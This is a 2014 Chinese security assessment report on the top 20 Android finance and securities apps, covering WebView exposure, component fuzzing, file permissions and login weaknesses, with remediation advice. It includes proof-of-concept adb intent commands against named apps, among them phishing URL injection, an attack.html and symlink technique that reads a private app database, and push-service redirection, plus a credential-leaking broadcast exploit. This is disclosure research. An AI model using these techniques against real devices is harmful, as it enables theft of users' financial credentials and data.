金融证券类手机应用安全性评测报告 本文关键词:安全性,评测报告,金融证券,手机
金融证券类手机应用安全性评测报告 本文简介:2014年金融证券类手机应用安全性评测报告2014年12月4日摘要2本次报告主要针对下载量TOP20的金融证券类应用进行了一次全方位的安全性测评。测评内容主要包括WebView安全性、组件安全性、本地数据安全性和登录安全性这4个主要方面的7项具体测试。2在WebView安全性检测中,共发现2款应用的
金融证券类手机应用安全性评测报告 本文内容:
2014年
金融证券类手机应用
安全性评测报告
2014年12月4日
摘
要
2
本次报告主要针对下载量TOP20的金融证券类应用进行了一次全方位的安全性测评。测评内容主要包括WebView安全性、组件安全性、本地数据安全性和登录安全性这4个主要方面的7项具体测试。
2
在WebView安全性检测中,共发现2款应用的WebView存在严重的安全漏洞,可导致应用程序内部敏感数据泄露。
2
在对应用组件数据进行的模糊测试中,共扫描出77个崩溃问题,其中Activity组件扫描出的崩溃问题最多,占崩溃问题总数的61%,其次是Broadcast、Service,分别占比为26%和13%。
2
在本地数据安全性检测中,共检测出4款应用将部分文件设置为全局可读,3款应用将文件设置为全局可写。
其中,同花顺应用安全系数最低,在20款应用中,是唯一一款将文件同时设置为全局可读,全局可写的应用,并且涉及文件个数最多。
2
在登陆安全性检测中,共检测出4款应用不校验服务端证书,5款应用存在重放攻击问题,2款应用传输密码加密简单,3款应用在社交账号绑定后,微博登陆不校验服务端证书。
关键词:金融证券、APP、WebView、本地数据、登录安全
目
录
安全测评综述1
第一章WEBVIEW安全性分析3
一WebView不合理导出3
二钓鱼攻击3
三使用系统漏洞进行攻击4
四应用数据隔离绕过攻击6
第二章组件安全性分析8
一模糊测试8
二本地账号密码泄露漏洞9
三功能接口暴漏漏洞11
四大量组件暴露漏洞11
第三章本地数据安全性分析12
一本地文件泄露12
二本地存储密码漏洞12
第四章登陆安全性分析14
第五章安全建议16
附录
参考链接17
安全测评综述
我国移动互联网发展已经进入全民时代。截至2014年6月,中国网民规模达6.32亿,其中,手机网民规模5.27亿,互联网普及率达到46.9%。在网民上网设备中,手机使用率达83.4%,超越传统PC整体80.9%的使用率。移动终端已经成为一种重要的媒介,占据了人们越来越多的时间,成为用户日常生活不可分割的一部分。
本次报告针对应用市场上下载量TOP20的金融证券类应用进行了安全性分析。评测目标应用的基本信息如下表所示:
应用名称
包名
版本编号
数米基金宝
fund123.com.client2
4.9.1
万得股票
wind.android
5.0.0
随身行
com.wenhua.bamboo
4.1
易阳指
com.gtja.dzh
5.51
金太阳
com.guosen.android
3.6.9.0.0.1
益盟操盘手
cn.emoney.level2
3.6.2
投资脉搏
net.imaibo.android.phone
2.3.4
东方财富通
com.eastmoney.android.berlin
4.8
现金宝
com.htffund.mobile.ec.ui
3.1
广发手机证券
gf.king.app
4.8
和讯股票
com.hexun.mobile
3.9.0
百度理财
com.baidu.finance
1.5.2
方正泉友通
com.hundsun.stockwinner.fzzq
5.4.2.4
同花顺
com.hexin.plat.android
V8.41.01
鑫财通
lthj.exchangestock
3.3.1
招商智远理财
com.cmschina
3.9.3
长江e号
com.eno.android.cj.page
6.0.3
手机证券极速版
com.ms235
3.01.0.7
盈盈理财
com.bench.yylc
3.8.2.0
大智慧
com.android.dazhihui
7.52
表1
测目标应用基本信息
此次测评内容主要包括:WebView安全性、组件数据安全性、本地数据安全性和登录安全性这4个方面的7项具体测试,具体测评结果如下表。其中,在登陆安全性一项中,A、B、C、D
分别代表四种不同的登录安全性问题,即,A:不校验服务端证书;B:重放攻击;C:传输密码加密简单;D:微博登陆不校验服务端证书。
应用名称
WebView
控件安全性
组件安全性
本地数据性
登录安全性
不合理
导出个数
Activity
崩溃个数
Broadcast
崩溃个数
Service
崩溃个数
全局可读
文件个数
全局可写
文件个数
存在问题
数米基金宝
2
9
1
0
3
0
A
万得股票
0
0
0
1
0
0
B
随身行
0
1
0
0
0
3
易阳指
1
14
0
0
0
0
金太阳
0
0
1
0
0
0
B
益盟操盘手
0
2
1
2
0
0
B
投资脉搏
0
1
0
1
0
0
AD
东方财富通
0
4
4
1
0
0
CD
现金宝
0
0
0
0
0
0
A
广发手机证券
0
2
6
2
0
0
和讯股票
0
1
2
2
0
0
ACD
百度理财
0
1
1
0
2
0
B
方正泉友通
0
0
0
0
0
0
同花顺
0
4
2
0
4
5
鑫财通
0
2
1
0
1
0
B
招商智远理财
0
2
0
0
0
1
长江e号
0
2
0
0
0
0
手机证券极速版
0
0
1
1
0
0
盈盈理财
0
0
0
0
0
0
A
大智慧
0
2
0
0
0
0
表2
安全测评结果
另外,还有个别应用存在本地存储密码漏洞,在上表中并未体现,报告中将以具体举例的形式进行介绍。为避免具体测试方法和金融证券类应用漏洞被人恶意利用,本次报告在未发布之前,已经将漏洞详情告知各家厂商。
第一章
WebView安全性分析
一
WebView不合理导出
WebView是用于浏览网页的控件。金融证券类应用和银行类应用比较相似,应用中并没有包含太复杂的逻辑功能,主要功能由一个WebView提供。所以WebView也是本次分析的重点之一。
对于金融证券类应用说,一般并不需要将WebView导出给其他应用供以调用。由于安卓系统中WebView相关的漏洞频发,将WebView暴露在外会面临较大的风险。恶意程序会向暴露的WebView传入一个恶意URL地址或恶意参数,利用多个已知系统漏洞对其进行攻击,导致应用内部敏感数据泄露。从分析结果来看,20款应用中有2款应用的WebView存在严重的安全漏洞,具体安全分析结果如下表。
应用名
包名
版本号
已导出WebView组件个数
数米基金宝
fund123.com.client2
4.9.1
2
易阳指
com.gtja.dzh
5.51
1
表3
WebView安全分析结果
上述应用并没有对导出的WebView进行任何安全性防护,黑客可以利用暴露的并且未被安全防护WebView组件进行钓鱼攻击、使用系统漏洞进行攻击、应用数据隔离绕过攻击等方式进行恶意攻击,从而窃取金融隐私数据,劫持交易等,进而从中谋取暴利。下面对上述三种攻击方法的原理进行验证与说明。
二
钓鱼攻击
攻击者可以向目标应用传入一个URL的钓鱼页面,通常为钓鱼登录页面,该页面将在目标应用中显示。用户会误以为应用显示的钓鱼登录页面是应用内部的登陆界面,将账号密码输入其中。而一旦用户在钓鱼登录页面上输入账号密码,这些信息就会立即被回传到攻击者的服务器上,导致帐号密码失窃。
例如,使用以下指令可以对易阳指这款应用的WebView漏洞进行钓鱼攻击验证:。
被检测的WebView控件
所插入的钓鱼页面
am
start
-n
com.gtja.dzh/com.android.dazhihui.view.BrowserScreen
-e
nexturl
http://a3.reocar.com/PageBE/
--ez
webview_default_color
true
指令输入后,该应用会进入如下图的钓鱼登录页面。图中只是一个示例,如果将登陆界面和APP界面风格整合的更统一些,相信会有很多人中招。
三
使用系统漏洞进行攻击
Android系统的WebView有多个已知漏洞,如远程代码执行漏洞(相关CVE编号:CVE-2012-6636、CVE-2014-1939),FakeID漏洞等。当开发者将WebView暴露在外,并且未对调用者进行身份认证,黑客便能通过存在漏洞的WebView对应用进行恶意攻击,窃取资金信息。
以远程代码执行漏洞为例,系统API
addJavascriptInterface所导致的问题在Android
4.2版本以前的系统中是难以解决的,开发者利用4.2或更高版本开发的应用才能解决此问题。
被检测的WebView
漏洞检测页面连接
以数米基金宝和易阳指这两款应用为例,当它们在Android
4.2及以下版本上运行时,360漏洞检测页面能够通过以下方式注入到目标进程,可以检测出暴露的
WebView接口。攻击者可以利用所检测出暴露的WebView接口对应用进行完全控制。由于该漏洞的攻击方式已经被披露很多次,这里不再赘述,具体攻击手段请见附录。
对数米基金宝的WebView接口检测:
am
start
-n
fund123.com.client2/com.fund123.smb4.activity.activities.PromotionActivity_
-e
param_id
asd
-e
param_title
hellp
--ez
goMainActivity
true
--ez
isHide
true
-e
param_url
http://retme.net/webview.html
--ez
param_auto_login
true
被检测的WebView
漏洞检测页面连接
对易阳指的WebView接口检测:
am
start
-n
com.gtja.dzh/com.android.dazhihui.view.BrowserScreen
-e
nexturl
http://**.**/****.html
--ez
webview_default_color
true
同理,使用FakeID漏洞或者其他浏览器相关漏洞同样有机会利用暴露的WebView接口获得目标应用空间内的代码执行权,这里不再赘述。
四
应用数据隔离绕过攻击
在Android系统中,不同的应用一般情况下是不允许彼此访问各自的私有数据文件的,但如果应用内置的WebView没有禁用通过file协议加载的页面的JavaScript执行权限,通过向导出的WebView传递一个file协议的本地文件存储路径,再在这个指定的本地文件上构造特定的JavaScript代码,就可以读取到被攻击应用的任意内部私有文件或者是被隔离的数据。具体攻击方法请参见附录。
截止本报告发出之时,Google尚未修复这一漏洞,大量使用WebView的应用和浏览器,都有可能受到此漏洞的影响。此类攻击通常被用于同行竞争的应用与应用之间,若用户同时安装存在竞争关系的两款应用,一款应用便可通过此方式对另一款应用进行攻击。对于金融证券类应用来说,被攻击的应用很可能被盗取应用内部的证券数据。经分析发现数米基金宝和易阳指都不能抵抗这种类型的攻击。
下面以数米基金宝为例,通过四步攻击过程来说明和验证其存在应用数据隔离绕过攻击问题。
第一步:首先构造一个包含JavaScript函数的文件attack.html,存储路径为file:///data/local
/tmp/attack.html。在这个文件attack.html中,使用JavaScript代码编写一个定时器,使其在被调用之后会被定时重新加载。下图为attack.html的构造方法。
attack
browser
function
loadXMLDoc()
{
var
arm
=
document.URL;
var
xmlhttp;
if
(window.XMLHttpRequest)
{
xmlhttp=new
XMLHttpRequest();
}
xmlhttp.onreadystatechange=function()
{
if
(xmlhttp.readyState==4)
{
//这里可以上传获取的文件内容到远程服务器
console.log(xmlhttp.responseText);
alert(xmlhttp.responseText);
}
}
xmlhttp.open(“GET“,arm);
设置定时器
xmlhttp.send(null);
}
setTimeout(loadXMLDoc,4000);
攻击目标
本地文件存储路径
第二步:执行如下检测代码,使数米基金宝中的WebView加载文件attack.html,致使文件中定时器开始计时。
am
start
-n
fund123.com.client2/com.fund123.smb4.activity.activities.PromotionActivity_
-e
param_id
asd
-e
param_title
hellp
--ez
goMainActivity
true
--ez
isHide
true
-e
param_url
file:///data/local/tmp/attack.html
--ez
param_auto_login
true
所替换的数米基金宝中文件链接
第三步:在定时器计时结束之前,将attack.html中的内容替换成一个指向数米基金宝内部文件的链接,代码如下:
rm
attack.html
ln
-s
/data/data/fund123.com.client2/databases/fund123_smb.db
attack.html
此时,由于WebView存在缓存机制,即使attack.html被删除后,先前的attack.html文件中所包含的JavaScript代码仍然在内存中被继续执行,即计时器仍在继续计时。
第四步:定时器到达截止时间后,WebView重新通过attack.html页面中JavaScript的XMLHttpRequest函数,读取当前文件的内容并显示在页面中,读取内容如下图:
到此,我们实际上就已经完成了一个通过外部命令,读取数米基金宝内部文件的过程。
所以,为避免应用内部信息外泄,在应用内置的WebView通过file协议加载本地页面时,应该禁用页面中的JavaScript函数。
当然,最安全的方法还是不要在应用中导出WebView。
第二章
组件安全性分析
Android四大基本组件分别是Activity,Service(服务),Content
Provider(内容提供者),Broadcast(广播接收器)。这四大组件是安卓应用的主要攻击目标,在本次组件数据安全性测试分析中,我们首先使用模糊测试(Fuzz
Testing)对Activity、Service、Broadcast这三大组件进行自动化分析,发现程序存在崩溃问题后,再针对崩溃问题进行人工漏洞挖掘,进一步发现严重高危漏洞。
一
模糊测试
模糊测试是一种通过向目标系统提供非预期的输入并监视其异常运行结果来发现软件漏洞的方法,此方法可被用于测试Activity、Service、Broadcast这三大组件的稳定性测试和漏洞挖掘。此次测试中共从20款应用中扫描出77个崩溃问题,其中Activity扫描出的崩溃问题最多,占总崩溃问题总数的61%,其次是Broadcast、Service,分别占比为26%,13%。具体测试信息如下。
应用名
包名
版本号
Activity
崩溃个数
Broadcast
崩溃个数
Service
崩溃个数
数米基金宝
fund123.com.client2
4.9.1
9
1
0
万得股票
wind.android
5.0.0
0
0
1
随身行
com.wenhua.bamboo
4.1
1
0
0
易阳指
com.gtja.dzh
5.51
14
0
0
金太阳
com.guosen.android
3.6.9.0.0.1
0
1
0
益盟操盘手
cn.emoney.level2
3.6.2
2
1
2
投资脉搏
net.imaibo.android.phone
2.3.4
1
0
1
东方财富通
com.eastmoney.android.berlin
4.8
4
4
1
现金宝
com.htffund.mobile.ec.ui
3.1
0
0
0
广发手机证券
gf.king.app
4.8
2
6
2
和讯股票
com.hexun.mobile
3.9.0
1
2
2
百度理财
com.baidu.finance
1.5.2
1
1
0
方正泉友通
com.hundsun.stockwinner.fzzq
5.4.2.4
0
0
0
同花顺
com.hexin.plat.android
V8.41.01
4
2
0
鑫财通
lthj.exchangestock
3.3.1
2
1
0
招商智远理财
com.cmschina
3.9.3
2
0
0
长江e号
com.eno.android.cj.page
6.0.3
2
0
0
手机证券极速版
com.ms235
3.01.0.7
0
1
1
盈盈理财
com.bench.yylc
3.8.2.0
0
0
0
大智慧
com.android.dazhihui
7.52
2
0
0
表4
模糊测试结果
此外,通过对自动化结果的人工筛选,我们还发现了一些可利用的高危漏洞,如:本地账号密码泄露漏洞、功能接口暴露漏洞、大量组件暴露漏洞等。下面我们将对这些高危漏洞的原理进行详细介绍。
二
本地账号密码泄露漏洞
这个漏洞来自于万得股票。
(一)
漏洞原理
这个漏洞的成因是开发者对于广播权限控制理解有误。正确的广播选项控制管理应该是分两步:首先定义一个广播权限,将广播权限中的protectLevel属性定义为signatureOrSystem,即只有相同数字签名的应用程序才能申请该权限。其后再注册一个receiver,将刚刚自定义的广播权限与receiver绑定。
然而万得股票这个应用直接注册了一个receiver:wind.android.broadcast.AccountSend
BroadCast。虽然开发者有意识的保护了这个广播——receiver,限制发送方必须要有wind.android.permission.ACCOUNT_SEND权限,但是非常遗憾地是,开发者没有对这个权限进行定义,所以攻击者可以在自己的广播中随意定义该权限,将权限的protectLevel属性定义成normal,即为人人都可申请的权限,因此这个receiver可以遭受到攻击。如下图,万得股票在AndroidManifest.xml中定义广播时,并未对相应权限进行定义。
万得股票设计本身应用中广播的逻辑是:若该应用的广播接收器接受到广播消息,就会先读取该账户自动登录的用户名与密码,并将其广播出去。360安全专家也尚不理解万得股票应用所设计的广播逻辑,但将用户名与密码广播出去,却是一种十分危险的行为。
这是一个匿名广播,若已经获得wind.android.permission.ACCOUNT_SEND权限的攻击者可以对这个广播进行窃听。
(二)
漏洞证明
首先在AndroidManifest.xml
中将wind.android.
permission.ACCOUNT_SEND权限定义为人人可申请的权限,其次再发送该广播,对万得股票的receiver进行攻击,触发其再次发送匿名广播,致用户名密码泄露。
同时注册一个广播接收器进行窃听,收集攻击目标发送广播所携带的私密数据。
如截图所示,攻击者获得了用户名和经过MD5和base64处理过的密码。根据万得的登陆协议,利用这些信息已经可以登录到其他人的账户上。
三
功能接口暴漏漏洞
这个漏洞来自广发手机证券。广发手机证券暴露了com.gf.messaging.MessagePush
Service这个推送消息服务,攻击者可以向这个服务传入服务器地址、端口号等配置参数,从而使广发手机证券可以向用户推送攻击者的广告信息。
被检测目标
漏洞验证人员传入的服务器地址
漏洞验证人员传入的服务器端口号
对广发手机证券的漏洞验证如下:
am
broadcast
gf.king.app/com.gf.messaging.MessagePush
–es
notification_title
--es
title
socket_host
127.0.0.1
--es
socket_port
8080
–es
device_id
0
–es
app_id
0
--show_type
1
下面是广发手机证券的消息推送服务,广发手机证券通过这个服务推送实时股价等消息,服务器被篡改可能导致发送虚假消息。
四
大量组件暴露漏洞
易阳指这款应用几乎将所有组件都暴露了出来。从这个应用的AndroidManifest.xml来看,开发者并不理解组件导出所潜在的风险。上文提到过易阳指存在的WebView相关漏洞就是因为大量组件暴露导致的。
第三章
本地数据安全性分析
一
本地文件泄露
将文件设置成全局可读/写可能造成信息泄露、软件功能不正常,甚至存在高危漏洞。我们对应用文件访问权限进行了安全分析,发现在20款金融证券类应用中,有4款应用将部分文件设置为全局可读,3款应用将文件设置全局可写。
其中同花顺应用安全系数最低,在20款应用中,它是唯一一款将文件同时设置为全局可读,全局可写的应用,并且涉及文件个数最多。
应用名
包名
版本
全局可读
全局可写
数米基金宝
fund123.com.client2
4.9.1
3
0
万得股票
wind.android
5.0.0
0
0
随身行
com.wenhua.bamboo
4.1
0
3
易阳指
com.gtja.dzh
5.51
0
0
金太阳
com.guosen.android
3.6.9.0.0.1
0
0
益盟操盘手
cn.emoney.level2
3.6.2
0
0
投资脉搏
net.imaibo.android.phone
2.3.4
0
0
东方财富通
com.eastmoney.android.berlin
4.8
0
0
现金宝
com.htffund.mobile.ec.ui
3.1
0
0
广发手机证券
gf.king.app
4.8
0
0
和讯股票
com.hexun.mobile
3.9.0
0
0
百度理财
com.baidu.finance
1.5.2
2
0
方正泉友通
com.hundsun.stockwinner.fzzq
5.4.2.4
0
0
同花顺
com.hexin.plat.android
V8.41.01
4
5
鑫财通
lthj.exchangestock
3.3.1
1
0
招商智远理财
com.cmschina
3.9.3
0
1
长江e号
com.eno.android.cj.page
6.0.3
0
0
手机证券极速版
com.ms235
3.01.0.7
0
0
盈盈理财
com.bench.yylc
3.8.2.0
0
0
大智慧
com.android.dazhihui
7.52
0
0
表5
文件访问权限分析结果
二
本地存储密码漏洞
本地明文存储密码或存储简单加密的密码都是不安全的,攻击者可以使用系统漏洞窃取到该应用数据目录下的文件,从而获取密钥对其解密,进而得到密码的明文文件。东方财富通和长江e号都存在这种漏洞。
东方财富通为了在登录时实现了自动登录功能,所以将用户名和密码记录在了本地,虽然用户名和密码是通过blowfish加密后存储的,但是由于加密较为简单,经过简单解密处理便可获取密码明文。
长江e号的登陆使用的用户名和密码保存在common_account_info表中,虽然密码不是明文存储,但只是用des进行了简单加密,很容易从dex中得到加密密钥从而得到明文密码。下图是密码的解密过程代码。
第四章
登陆安全性分析
我们对20款应用的登陆安全问题进行了分析,下表给出了具体的检测结果。其中4款应用不校验服务端证书(A),5款应用存在重放攻击问题(B),2款应用传输密码加密简单(C),3款应用在社交账号绑定后,微博登陆不校验服务端证书(D)。
应用名
包名
版本
协议
存在问题
数米基金宝
fund123.com.client2
4.9.1
HTTPS
A
万得股票
wind.android
5.0.0
HTTP
B
随身行
com.wenhua.bamboo
4.1
TCP
易阳指
com.gtja.dzh
5.51
TCP
金太阳
com.guosen.android
3.6.9.0.0.1
HTTP
B
益盟操盘手
cn.emoney.level2
3.6.2
HTTP
B
投资脉搏
net.imaibo.android.phone
2.3.4
HTTPS
AD
东方财富通
com.eastmoney.android.berlin
4.8
HTTP
CD
现金宝
com.htffund.mobile.ec.ui
3.1
HTTPS
A
广发手机证券
gf.king.app
4.8
TCP
和讯股票
com.hexun.mobile
3.9.0
HTTPS
ACD
百度理财
com.baidu.finance
1.5.2
HTTP
B
方正泉友通
com.hundsun.stockwinner.fzzq
5.4.2.4
TCP
同花顺
com.hexin.plat.android
V8.41.01
TCP
鑫财通
lthj.exchangestock
3.3.1
HTTP
B
招商智远理财
com.cmschina
3.9.3
HTTP自有协议
长江e号
com.eno.android.cj.page
6.0.3
TCP
手机证券极速版
com.ms235
3.01.0.7
TCP
盈盈理财
com.bench.yylc
3.8.2.0
HTTPS
A
大智慧
com.android.dazhihui
7.52
TCP
表6
登录安全分析结果
不校验服务端证(A):如果客户端在登录过程中不对服务端的身份(证书)进行校验,就有可能“信任”伪装身份的“冒牌服务端”,连接到假冒的服务端上。连接假冒的服务端不仅可能造成用户名、密码等信息被窃取,甚至还有可能造成直接的财产损失。
重放攻击(B):如果攻击者能够截获传送登录信息的数据包,并且在不解密该数据包的情况下,直接使用该数据包来成功登录服务器,则称这种攻击为登录过程中的重放攻击。造成重放攻击的主要原因是登录加密机制不完善。在完善的登录加密体系中,即使是相同的账号和密码,在不同的客户端上进行登录,其加密数据包也应该是有所不同,并且还会随时间的不同而不断变化。
传输密码加密简单(C):用户在使用手机APP登录时,账号与密码等数据虽然是经过加密后传输给服务器的,但由于加密算法过去简单,很容易被攻击者破解。
微博登陆不校验服务端证书(D):某些手机应用与微博实行联合登录机制,但当用户使用微博账号登陆该应用时,客户端未并对微博服务器的身份(证书)进行校验。这就导致这个手机应用很有可能会连接到假冒的微博服务器上,从而致使信息泄露。
在表6的协议一栏中,我们可以看到,绝大多数金融证券类应用在登录过程都会选择使用HTTP或HTTPS协议进行登录信息的传输。但也有部分应用在登陆时会选择只使用传输层的TCP协议进行传输,而没使用应用层的HTTP或HTTPS协议。
一般而言,使用HTTPS进行信息加密传输的安全性最高。但从上表可见,在本次测评中被检测的20款金融证券类应用中,不论是使用HTTP的应用,还是使用HTTPS的应用,几乎都或多或少的被检测出了一定的登录安全性问题。只有招商智远理财这款使用了HTTP协议+自有协议实现加密的应用,暂时没有被检测出登录安全性问题。
还需要特别说明的是,在上表中,所有使用TCP协议的应用都没有被检测出登录安全性问题,但这并不表示这些应用就比使用了HTTP或HTTPS协议的应用在登录方面更安全。这主要是因为:目前市场上绝大多数的手机应用都是采用HTTP或HTTPS协议来传输登录信息的,而仅仅使用TCP协议来传输登录信息的应用非常少见(但在本次检测的20款金融证券类手机应用中,竟然占到了9款)。所以,本次测试所采用的主要分析方法和分析工具都是针对HTTP和HTTPS协议进行的,而对哪些只使用了TCP协议进行登录信息传输的应用的检测手段和分析方法则相对有限。
所以,我们不能仅凭表6就断定说只用TCP协议传输比使用HTTP或HTTPS协议传输更安全。就一般性而言,目前业界比较公认的安全传输协议体系还是HTTPS协议。只是本次测试的20款应用中,所有使用了HTTPS协议的应用,都没有能够实现完整和完善的登录安全机制。
关于安卓客户端登陆相关更多详细的漏洞原理,请参见360互联网安全中心2014年7月发布的《手机银行客户端安全性测评报告》。
第五章
安全建议
对于金融客户端软件的开发者,我们提出如下一些安全建议:
1)
尽量不要将WebView组件设置为可导出。若确有导出需求,也要对调用者进行身份验证,以免遭到黑客的恶意攻击。
2)
开发者在注册广播receiver时,不仅要限制发送方必须要有相应的权限,还要将该权限的protectLevel属性定义为signatureOrSystem,即只有相同数字签名的应用程序才能申请该权限。
3)
若无必要需求,不要将大量组件接口数据暴露在外,否则会存在潜在的高危风险。
4)
开发者尽量不要将用户名和密码这种敏感类信息保存在本地,若必须要保存到本地,也建议使用复杂的加密算法,且尽量不要将接口设置为可导出的接口。
5)
开发者要保持良好开发习惯,切勿轻易将文件赋予成全局可读/写权限,否则可能造成信息泄露、软件功能不正常,甚至引发高危漏洞。
6)
针对登录过程中的加密机制,我们建议采用体系比较完善的HTTPS机制。HTTPS除了能对登录过程中的数据进行加密,以保证传输数据的安全性和完整性之外,HTTPS也支持X.509数字证书认证——基于这种机制,可以确认通信双方身份。使用HTTPS自身的机制进行服务端身份校验也是可行的。
7)
为了防御登录过程中的重放攻击,开发者除了可以使用时间戳,也可以使用挑战-响应机制。这一机制简单来说就是,每次登陆时,服务器给客户端发一个随机数,客户端用事先双方协商好的算法算出一个响应数,连同登陆凭证一起发送给服务器。无论是时间戳还是挑战-响应机制都会使每次登陆发送的数据包是不一样的,从而预防了重放攻击这一问题。
附录
参考链接
(一)
关于addJavascriptInterface漏洞的细节:
http://www.16fw.com/1644867970/BmFn8qsFx
(四)
关于同源绕过攻击相关信息
http://blogs.360.cn/360mobile/2014/09/22/webview跨源攻击分析/
18